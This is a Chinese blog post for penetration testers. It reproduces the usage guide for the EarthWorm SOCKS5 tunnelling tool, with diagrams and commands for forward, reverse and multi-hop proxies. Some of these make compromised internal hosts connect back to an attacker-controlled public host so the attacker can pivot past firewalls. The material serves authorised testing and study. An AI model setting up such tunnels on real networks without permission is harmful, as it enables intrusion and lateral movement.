利用EW(EarthWorm)作 Socks5 代理进行内网渗透

/ 渗透测试 / 0 条评论 / 3254 浏览

本站的所有程序和文章,仅限用于学习和研究目的;不得用于商业或者非法用途,否则,一切后果请用户自负!!

前言

ew这也算老工具了,虽然停更,但还算好用。记常用命令方便查阅。

下载

https://github.com/idlefire/ew

使用

这里就直接粘原文了,写的还比较详细。

【软件介绍】

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
专有主页: http://rootkiter.com/EarthWorm/

【使用场景】

普通网络环境:
    1.  目标网络边界存在公网IP且可任意开监听端口:

              +---------+     +-------------------+  
              |HackTools| ->> | 8888->  1.1.1.1   |
              +---------+     +-------------------+

            a)./ew -s ssocksd -l 8888
                    // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
            b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
                
    2.  目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
        
                                    一台可控公网IP主机                  可控内网主机
              +---------+     +--------------------------+    |     +---------------+
              |HackTools| ->> | 1080 ->  1.1.1.1 -> 8888 |  防火墙  | <--  2.2.2.2  |
              +---------+     +--------------------------+    |     +---------------+

            a) ./ew -s rcsocks -l 1080 -e 8888
                        // 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
            b) ./ew -s rssocks -d 1.1.1.1 -e 8888          
                        // 将目标网络的可控边界主机反向连接公网主机

            c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

对于二重网络环境:        
    1.  获得目标网络内两台主机 A、B 的权限,情况描述如下:

            A 主机:  存在公网 IP,且自由监听任意端口,无法访问特定资源
            B 主机:  目标网络内部主机,可访问特定资源,但无法访问公网
            A 主机可直连 B 主机
            
                                    可控边界主机A             可访问指定资源的主机B
              +---------+     +-----------------------+      +-----------------+
              |HackTools| ->> | 1080 -->  2.2.2.2 --> | ->>  | 9999 -> 2.2.2.3 |
              +---------+     +-----------------------+      +-----------------+

            a)  ./ew -s ssocksd -l 9999
                    // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
            b)  ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 
                    // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
            c)  HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
            
    2.  获得目标网络内两台主机 A、B 的权限,情况描述如下:

            A 主机:  目标网络的边界主机,无公网 IP,无法访问特定资源。
            B 主机:  目标网络内部主机,可访问特定资源,却无法回连公网。

            A 主机可直连 B 主机
                                  一台可控公网IP主机                    可控内网主机A         可访问指定资源的主机B
              +---------+     +--------------------------+    |    +-----------------+      +-----------------+
              |HackTools| ->> | 1080 ->  1.1.1.1 -> 8888 |  防火墙  | <--  2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
              +---------+     +--------------------------+    |    +-----------------+      +-----------------+

            a)  ./ew -s lcx_listen -l 1080 -e 8888
                        // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
                        // 转交给反连 8888 端口的主机
            b)  ./ew -s ssocksd -l 9999
                        // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
            c)  ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
                        // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
            d)  HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理

【参数说明】

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

    ssocksd   rcsocks   rssocks   
    lcx_slave lcx_tran  lcx_listen

    其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

    其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道:

    lcx_slave  该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    lcx_tran   该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

    通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

    下面是一个三级跳的本地测试例子。。。
    ./ew -s rcsocks -l 1080 -e 8888
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    ./ew -s lcx_listen -l 9999 -e 7777
    ./ew -s rssocks -d 127.0.0.1 -e 7777

    数据流向为   IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks 

【补充说明】 1.为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒), 用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制 将以隧道中最短的时间为默认值。 2.单纯从设计原理上讲,多级级联的三种状态可以转发任意以TCP为基础的通讯服务, 包括远程桌面/web服务 等。 3.产品包中的 ew_for_Arm32 在开发者已有平台下(android手机、小米路由器、树莓派) 测试无误。 如果有其它异常环境请将对应详细细节反馈给作者,以便更新程序问题。

【联系作者】

rootkiter@rootkiter.com
如果您在使用中有什么好想法,或遇到什么BUG,都可以主动联系我。
我会尽最大所能让这个工具更加完美,感谢大家的支持。

本文最后编辑时间为: 2020-07-19

如本文对你有帮助,点击广告支持一下吧,创造不易。

safe6